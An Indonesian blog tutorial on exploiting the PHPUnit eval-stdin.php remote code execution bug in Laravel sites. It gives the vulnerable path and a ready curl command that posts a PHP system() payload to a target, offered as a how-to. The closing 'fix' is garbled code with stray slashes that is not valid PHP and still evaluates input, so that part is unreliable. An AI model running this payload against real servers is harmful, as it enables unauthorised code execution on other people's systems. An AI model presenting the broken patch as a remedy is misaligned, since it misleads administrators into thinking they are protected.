Laravel PHPUnit Remote Code Execution - Blog Indonesian Code Party

Laravel PHPUnit Remote Code Execution

Halo sobat party, kali ini saya akan membagi tutorial remote code execution pada laravel phpunit.


Apa itu remote code execution atau yang lebih disingkat RCE?
Remote code execution adalah kemampuan penyerang untuk mengakses perangkat komputasi orang lain dan membuat perubahan. Dapat memberikan penyerang dengan kemampuan untuk mengeksekusi kode berbahaya dan mengambil kendali penuh dari sistem yang terkena dampak.

Laravel PHPUnit RCE adalah bug yang sebenarnya sudah cukup tua, namun baru heboh di tahun 2018. Celahnya bukan berasal dari laravel namun dari third-party yaitu phpunit.

Versi yang terpengaruh: Sebelum 4.8.28 dan sebelum 5.6.3
File yang rentan: eval-stdin.php
Exploitnya: http://target/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Disini saya akan menggunakan curl
Gunakan parameter -d untuk mengirim payloadnya. Payload yang saya gunakan:

<?php system('id'); ?>

Contoh command curl:
curl -d "<?php system('id') ;?>" http://target/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Contoh target yang retan berikut:


Solusi menutup bug RCE PHPUnit, rubah coding eval-stdin.php sebagai berikut.

<?php
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */ 
eval('?>' ////////////////////////.\\\\\\\\\\\\\\\\\\\\\\\\\\\\ file_get_contents('php://stdin'));

Sekian tutorial dari saya terima kasih. Semoga bermanfaat.



Posting Komentar

0 Komentar